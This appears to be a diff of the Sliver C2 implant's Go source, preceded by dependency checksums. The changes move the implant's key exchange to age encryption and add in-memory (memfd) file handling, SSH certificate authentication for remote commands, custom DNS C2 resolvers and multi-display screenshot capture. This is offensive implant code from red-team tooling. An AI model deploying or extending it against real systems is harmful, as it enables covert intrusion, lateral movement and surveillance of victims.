golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f h1:v4INt8xihDGvnrfjMDVXGxw9wrfxYyCjk0KbXjhR55s=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.5.0 h1:OLmvp0KP+FVG99Ct/qFiL/Fhk4zp4QQnZ7b2U+5piUM=
golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
+46 -18
View File
@@ -27,6 +27,7 @@ import (
"errors"
"io"
"os"
"strings"
"sync"
"time"
@@ -34,11 +35,11 @@ import (
"log"
// {{end}}
"filippo.io/age"
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/nacl/box"
)
var (
@@ -53,34 +54,61 @@ var (
ErrReplayAttack = errors.New("replay attack detected")
// ErrDecryptFailed
ErrDecryptFailed = errors.New("decryption failed")
ageMsgPrefix = []byte("age-encryption.org/v1\n-> X25519 ")
agePublicKeyPrefix = "age1"
agePrivateKeyPrefix = "AGE-SECRET-KEY-1"
)
// ECCKeyPair - Holds the public/private key pair
type ECCKeyPair struct {
Public *[32]byte
Private *[32]byte
// AgeKeyPair - Holds the public/private key pair
type AgeKeyPair struct {
Public string
Private string
}
// ECCEncrypt - Encrypt using Nacl Box
func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaintext []byte) ([]byte, error) {
var nonce [24]byte
if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
// AgeEncrypt - Encrypt using Nacl Box
func AgeEncrypt(recipientPublicKey string, plaintext []byte) ([]byte, error) {
if !strings.HasPrefix(recipientPublicKey, agePublicKeyPrefix) {
recipientPublicKey = agePublicKeyPrefix + recipientPublicKey
}
recipient, err := age.ParseX25519Recipient(recipientPublicKey)
if err != nil {
return nil, err
}
encrypted := box.Seal(nonce[:], plaintext, &nonce, recipientPublicKey, senderPrivateKey)
return encrypted, nil
buf := bytes.NewBuffer([]byte{})
stream, err := age.Encrypt(buf, recipient)
if err != nil {
return nil, err
}
if _, err := stream.Write(plaintext); err != nil {
return nil, err
}
if err := stream.Close(); err != nil {
return nil, err
}
return bytes.TrimPrefix(buf.Bytes(), ageMsgPrefix), nil
}
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
// AgeDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func AgeDecrypt(recipientPrivateKey string, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
if !ok {
return nil, ErrDecryptFailed
if !strings.HasPrefix(recipientPrivateKey, agePrivateKeyPrefix) {
recipientPrivateKey = agePrivateKeyPrefix + recipientPrivateKey
}
identity, err := age.ParseX25519Identity(recipientPrivateKey)
if err != nil {
return nil, err
}
buf := bytes.NewBuffer(append(ageMsgPrefix, ciphertext...))
stream, err := age.Decrypt(buf, identity)
if err != nil {
return nil, err
}
plaintext, err := io.ReadAll(stream)
if err != nil {
return nil, err
}
return plaintext, nil
}
+40 -37
View File
@@ -19,6 +19,7 @@ package cryptography
*/
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"errors"
@@ -59,29 +60,22 @@ func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, new
// {{end}}
// GetECCKeyPair - Get the implant's key pair
func GetECCKeyPair() *ECCKeyPair {
publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
if err != nil {
panic("no public key")
}
var public [32]byte
copy(public[:], publicRaw)
privateRaw, err := base64.RawStdEncoding.DecodeString(eccPrivateKey)
if err != nil {
panic("no private key")
}
var private [32]byte
copy(private[:], privateRaw)
return &ECCKeyPair{
Public: &public,
Private: &private,
// GetPeerAgeKeyPair - Get the implant's key pair
func GetPeerAgeKeyPair() *AgeKeyPair {
return &AgeKeyPair{
Public: ECCPublicKey,
Private: eccPrivateKey,
}
}
// GetServerAgePublicKey - Get the decoded server public key
func GetServerAgePublicKey() string {
return eccServerPublicKey
}
// MinisignVerify - Verify a minisign signature
func MinisignVerify(message []byte, signature string) bool {
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
serverMinisignPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode minisign public key: %s", err)
@@ -95,7 +89,7 @@ func MinisignVerify(message []byte, signature string) bool {
// {{end}}
return false
}
valid, err := serverPublicKey.Verify(message, sig)
valid, err := serverMinisignPublicKey.Verify(message, sig)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minisign signature validation error: %s", err)
@@ -119,50 +113,59 @@ func GetServerECCPublicKey() *[32]byte {
return &public
}
// ECCEncryptToServer - Encrypt using the server's public key
func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
recipientPublicKey := GetServerECCPublicKey()
if recipientPublicKey == nil {
// AgeKeyExToServer - Encrypt using the server's public key
func AgeKeyExToServer(plaintext []byte) ([]byte, error) {
recipientPublicKey := GetServerAgePublicKey()
if recipientPublicKey == "" {
panic("no server public key")
}
keyPair := GetECCKeyPair()
ciphertext, err := ECCEncrypt(recipientPublicKey, keyPair.Private, plaintext)
peerKeyPair := GetPeerAgeKeyPair()
// First HMAC the plaintext with the hash of the implant's private key
// this ensures that the server is talking to a valid implant
privateDigest := sha256.New()
privateDigest.Write([]byte(peerKeyPair.Private))
mac := hmac.New(sha256.New, privateDigest.Sum(nil))
mac.Write(plaintext)
// Next encrypt using server's Age public key
ciphertext, err := AgeEncrypt(recipientPublicKey, append(mac.Sum(nil), plaintext...))
if err != nil {
return nil, err
}
digest := sha256.Sum256((*keyPair.Public)[:])
// Sender includes hash of it's implant specific peer public key
publicDigest := sha256.Sum256([]byte(peerKeyPair.Public))
msg := make([]byte, 32+len(ciphertext))
copy(msg, digest[:])
copy(msg, publicDigest[:])
copy(msg[32:], ciphertext)
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
// AgeEncryptToPeer - Encrypt using the peer's public key
func AgeEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], recipientPublicKey)
keyPair := GetECCKeyPair()
ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
ciphertext, err := AgeEncrypt(string(recipientPublicKey), plaintext)
if err != nil {
return nil, err
}
return ciphertext, nil
}
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
// AgeDecryptFromPeer - Decrypt a message from a peer
func AgeDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], senderPublicKey)
keyPair := GetECCKeyPair()
plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
keyPair := GetPeerAgeKeyPair()
plaintext, err := AgeDecrypt(keyPair.Private, ciphertext)
if err != nil {
return nil, err
}
+9 -4
View File
@@ -202,15 +202,20 @@ func dirListHandler(data []byte, resp RPCResponse) {
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
linkPath, err = filepath.EvalSymlinks(path + dirEntry.Name())
if err != nil {
linkPath = ""
link_str, err := os.Readlink(path + dirEntry.Name())
if err == nil {
linkPath = link_str
} else {
linkPath = ""
}
}
} else {
linkPath = ""
}
}
sliverFileInfo.Uid = getUid(fileInfo)
sliverFileInfo.Gid = getGid(fileInfo)
sliverFileInfo.Uid = getUid(fileInfo)
sliverFileInfo.Gid = getGid(fileInfo)
}
sliverFileInfo.Name = dirEntry.Name()
sliverFileInfo.IsDir = dirEntry.IsDir()
+145 -10
View File
@@ -19,14 +19,21 @@ package handlers
*/
import (
"fmt"
"io/fs"
"os"
"os/user"
"syscall"
"strconv"
"io/fs"
"path/filepath"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"runtime"
"strconv"
"strings"
"syscall"
"time"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
// {{if .Config.Debug}}
@@ -74,9 +81,13 @@ var (
// {{end}}
// Linux Only
sliverpb.MsgChmodReq: chmodHandler,
sliverpb.MsgChownReq: chownHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgChmodReq: chmodHandler,
sliverpb.MsgChownReq: chownHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgMemfilesListReq: memfilesListHandler,
sliverpb.MsgMemfilesAddReq: memfilesAddHandler,
sliverpb.MsgMemfilesRmReq: memfilesRmHandler,
}
)
@@ -85,7 +96,7 @@ func GetSystemHandlers() map[uint32]RPCHandler {
return linuxHandlers
}
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
usr, err := user.LookupId(uid_str)
@@ -95,8 +106,8 @@ func getUid(fileInfo os.FileInfo) (string) {
return usr.Name
}
func getGid(fileInfo os.FileInfo) (string) {
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
func getGid(fileInfo os.FileInfo) string {
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
gid_str := strconv.FormatUint(uint64(gid), 10)
grp, err := user.LookupGroupId(gid_str)
if err != nil {
@@ -105,6 +116,130 @@ func getGid(fileInfo os.FileInfo) (string) {
return grp.Name
}
func memfilesListHandler(data []byte, resp RPCResponse) {
pid := os.Getpid()
path := fmt.Sprintf("/proc/%d/fd/", pid)
dir, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
if err == nil {
dirList.Exists = true
} else {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
for _, dirEntry := range files {
//log.Printf("File: %s\n", dirEntry.Name())
dirEntry.Name()
fileInfo, err := dirEntry.Info()
sliverFileInfo := &sliverpb.FileInfo{}
if err == nil {
sliverFileInfo.Size = fileInfo.Size()
sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
sliverFileInfo.Mode = fileInfo.Mode().String()
// Check if this is a symlink, and if so, add the path the link points to
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
link_str, err := os.Readlink(path + dirEntry.Name())
if err == nil && strings.Contains(link_str, "/memfd:") {
sliverFileInfo.Uid = getUid(fileInfo)
sliverFileInfo.Gid = getGid(fileInfo)
sliverFileInfo.Name = dirEntry.Name()
sliverFileInfo.IsDir = dirEntry.IsDir()
sliverFileInfo.Link = link_str
dirList.Files = append(dirList.Files, sliverFileInfo)
}
}
}
}
// Send back the response
data, err = proto.Marshal(dirList)
resp(data, err)
}
func memfilesAddHandler(data []byte, resp RPCResponse) {
var nrMemfdCreate int
memfilesAdd := &sliverpb.MemfilesAdd{}
memfilesAdd.Response = &commonpb.Response{}
memfdName := taskrunner.RandomString(8)
//memfdName := "/tmp/a"
memfd, err := syscall.BytePtrFromString(memfdName)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error during conversion: %s\n", err)
//{{end}}
return
}
if runtime.GOARCH == "386" {
nrMemfdCreate = 356
} else {
nrMemfdCreate =
319
}
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
fd_str := fmt.Sprintf("%d", fd)
fd_int, err := strconv.ParseInt(fd_str, 0, 64)
//log.Printf("Fd: %d\n", fd_int)
memfilesAdd.Fd = fd_int
data, err = proto.Marshal(memfilesAdd)
resp(data, err)
}
func memfilesRmHandler(data []byte, resp RPCResponse) {
memfilesRmReq := &sliverpb.MemfilesRmReq{}
err := proto.Unmarshal(data, memfilesRmReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
memfilesRm := &sliverpb.MemfilesRm{}
memfilesRm.Fd = memfilesRmReq.Fd
memfilesRm.Response = &commonpb.Response{}
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, memfilesRmReq.Fd)
fileInfo, err := os.Lstat(fdPath)
if err == nil {
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
link_str, err := os.Readlink(fdPath)
if err == nil && strings.Contains(link_str, "/memfd:") {
syscall.Close(int(memfilesRmReq.Fd))
} else {
memfilesRm.Response.Err = "file descriptor does not represent a memfd"
}
} else {
memfilesRm.Response.Err = "file descriptor does not represent a symlink"
}
} else {
memfilesRm.Response.Err = err.Error()
}
data, err = proto.Marshal(memfilesRm)
resp(data, err)
}
func chmodHandler(data []byte, resp RPCResponse) {
chmodReq := &sliverpb.ChmodReq{}
err := proto.Unmarshal(data, chmodReq)
+1
View File
@@ -295,6 +295,7 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.SignedUserCert,
commandReq.Krb5Conf,
commandReq.Keytab,
commandReq.Realm,
+3 -1
View File
@@ -121,9 +121,11 @@ func ExecLimits() {
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
}
// {{else}}
_ = err
// {{end}}
os.Exit(1)
}
}
// {{end}}
// {{if .Config.Debug}}
+3 -5
View File
@@ -21,7 +21,6 @@ package pivots
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"io"
@@ -404,23 +403,22 @@ func (p *NetConnPivot) peerKeyExchange() error {
validPeer := cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)
if !validPeer {
// {{if .Config.Debug}}
log.Printf("[pivot] invalid peer key")
log.Printf("[pivot] invalid peer key: %s (sig: %s)", string(peerHello.PublicKey), peerHello.PublicKeySignature)
// {{end}}
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
ciphertext, err := cryptography.AgeEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] peer encryption failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
peerResponse, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKeyRaw,
PublicKey: []byte(cryptography.ECCPublicKey),
PublicKeySignature: cryptography.ECCPublicKeySignature,
SessionKey: ciphertext,
})
+6 -7
View File
@@ -20,6 +20,7 @@ package screen
import (
"bytes"
"image"
"image/png"
//{{if .Config.Debug}}
@@ -28,7 +29,7 @@ import (
screen "github.com/kbinani/screenshot"
)
//Screenshot - Retrieve the screenshot of the active displays
// Screenshot - Retrieve the screenshot of the active displays
func Screenshot() []byte {
return WindowsCapture()
}
@@ -37,15 +38,13 @@ func Screenshot() []byte {
func WindowsCapture() []byte {
nDisplays := screen.NumActiveDisplays()
var height, width int = 0, 0
var all image.Rectangle = image.Rect(0, 0, 0, 0)
for i := 0; i < nDisplays; i++ {
rect := screen.GetDisplayBounds(i)
if rect.Dy() > height {
height = rect.Dy()
}
width += rect.Dx()
all = rect.Union(all)
}
img, err := screen.Capture(0, 0, width, height)
img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())
if err != nil {
//{{if .Config.Debug}}
+19 -3
View File
@@ -17,7 +17,7 @@ import (
"golang.org/x/crypto/ssh/agent"
)
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
func getClient(host string, port uint16, username string, password string, privKey []byte, signedUserCert []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
var authMethods []ssh.AuthMethod
if password != "" {
// Try password auth first
@@ -28,6 +28,22 @@ func getClient(host string, port uint16, username string, password string, privK
if err != nil {
return nil, err
}
// If certificate based auth add signed public key
if len(signedUserCert) != 0 {
cert, _, _, _, err := ssh.ParseAuthorizedKey(signedUserCert)
if err != nil {
return nil, err
}
// create a signer using both the certificate and the private key:
certSigner, err := ssh.NewCertSigner(cert.(*ssh.Certificate), signer)
if err != nil {
return nil, err
}
//Update signer
signer = certSigner
}
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else if krb5conf != "" && keytab != nil && realm != "" {
// Then try kerberos auth
@@ -74,12 +90,12 @@ func getClient(host string, port uint16, username string, password string, privK
}
// RunSSHCommand - SSH to a host and execute a command
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, signedUserCert []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
var (
stdout bytes.Buffer
stderr bytes.Buffer
)
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
sshc, err := getClient(host, port, username, password, privKey, signedUserCert, krb5conf, keytab, realm)
if err != nil {
return "", "", err
}
+2
View File
@@ -3,6 +3,8 @@
#ifdef __WIN32
#include <windows.h>
void StartW();
DWORD WINAPI Start()
{
StartW();
+19 -3
View File
@@ -27,6 +27,7 @@ import "C"
import (
"crypto/rand"
"encoding/binary"
"errors"
"log"
insecureRand "math/rand"
"os"
@@ -64,6 +65,7 @@ import (
var (
InstanceID string
connectionErrors = 0
ErrTerminate = errors.New("terminate")
)
func init() {
@@ -162,6 +164,14 @@ func main() {
// {{if .Config.Debug}}
log.SetFlags(log.LstdFlags | log.Lshortfile)
debugFilePath := "{{ .Config.DebugFile }}"
if debugFilePath != "" {
// Open the log file for writing
file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err == nil {
log.SetOutput(file)
}
}
// {{else}}
log.SetFlags(0)
log.SetOutput(ioutil.Discard)
@@ -231,6 +241,10 @@ func sessionStartup() {
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
if err == ErrTerminate {
connection.Cleanup()
return
}
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
@@ -532,7 +546,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(abort)
connections := transports.StartConnectionLoop(abort, openSession.C2S...)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -591,11 +605,13 @@ func sessionMainLoop(connection *transports.Connection) error {
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
if _, ok := specialHandlers[envelope.Type]; ok {
// Special handler at this point is just the exit handler.
// We can safely return here, and let the caller know thart we want to terminate.
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
// {{end}}
handler(envelope.Data, connection)
return ErrTerminate
} else if handler, ok := pivotHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
+1 -1
View File
@@ -38,7 +38,7 @@ func stringWithCharset(length int, charset string) string {
return string(b)
}
func randomString(length int) string {
func RandomString(length int) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return stringWithCharset(length, charset)
}
+1 -1
View File
@@ -65,7 +65,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
wg sync.WaitGroup
cmd *exec.Cmd
)
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
fdPath := fmt.Sprintf("/tmp/.%s", RandomString(10))
err := ioutil.WriteFile(fdPath, data, 0755)
if err != nil {
return "", err
+1 -1
View File
@@ -64,7 +64,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
wg sync.WaitGroup
cmd *exec.Cmd
)
memfdName := randomString(8)
memfdName := RandomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
if err != nil {
//{{if .Config.Debug}}
@@ -103,6 +103,7 @@ type DNSOptions struct {
WorkersPerResolver int
ForceBase32 bool
ForceResolvConf string
ForceResolvers string
}
// ParseDNSOptions - Parse c2 specific options
@@ -141,6 +142,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
}
@@ -166,6 +168,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
parent: parent,
forceBase32: opts.ForceBase32,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
retryWait: opts.RetryWait,
retryCount: opts.RetryCount,
@@ -190,6 +193,7 @@ type SliverDNSClient struct {
queryTimeout time.Duration
forceBase32 bool
forceResolvConf string
forceResolvers string
subdataSpace int
dnsSessionID uint32
msgCount uint32
@@ -299,6 +303,13 @@ func (s *SliverDNSClient) SessionInit() error {
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id %d", s.dnsSessionID)
// {{end}}
// {{if .Config.Debug}}
log.Printf("[dns] fingerprinting resolvers ...")
// {{end}}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
@@ -310,7 +321,7 @@ func (s *SliverDNSClient) SessionInit() error {
// Key agreement with server
sKey := cryptography.RandomKey()
s.cipherCtx = cryptography.NewCipherContext(sKey)
initData, err := cryptography.ECCEncryptToServer(sKey[:])
initData, err := cryptography.AgeKeyExToServer(sKey[:])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] failed to encrypt init msg %v", err)
@@ -738,13 +749,33 @@ func (s *SliverDNSClient) getDNSSessionID() error {
func (s *SliverDNSClient) loadResolvConf() error {
var err error
if len(s.forceResolvConf) < 1 {
if len(s.forceResolvConf) < 1 && s.forceResolvers == "" {
s.resolvConf, err = dnsClientConfig()
} else if s.forceResolvers != "" {
// Convert the specified resolvers into a string that dns.ClientConfigFromReader can understand
// Strip out spaces and split on commas
resolversSlice := strings.Split(s.forceResolvers, " ")
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader("nameserver " + strings.Join(resolversSlice, "\nnameserver ")))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] Error trying to use specified resolvers (%s): %s", s.forceResolvers, err.Error())
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[dns] Using specified DNS resolvers: %s", s.forceResolvers)
// {{end}}
}
} else {
// {{if .Config.Debug}}
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
// {{end}}
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader(s.forceResolvConf))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] Error trying to use forced resolv.conf (%s): %s", s.forceResolvConf, err.Error())
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
// {{end}}
}
}
return err
}
@@ -56,9 +56,9 @@ const (
)
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -178,7 +178,7 @@ func (s *SliverHTTPClient) SessionInit() error {
httpSessionInit := &pb.HTTPSessionInit{Key: sKey[:]}
data, _ := proto.Marshal(httpSessionInit)
encryptedSessionInit, err := cryptography.ECCEncryptToServer(data)
encryptedSessionInit, err := cryptography.AgeKeyExToServer(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Nacl encrypt failed %v", err)
@@ -353,12 +353,12 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
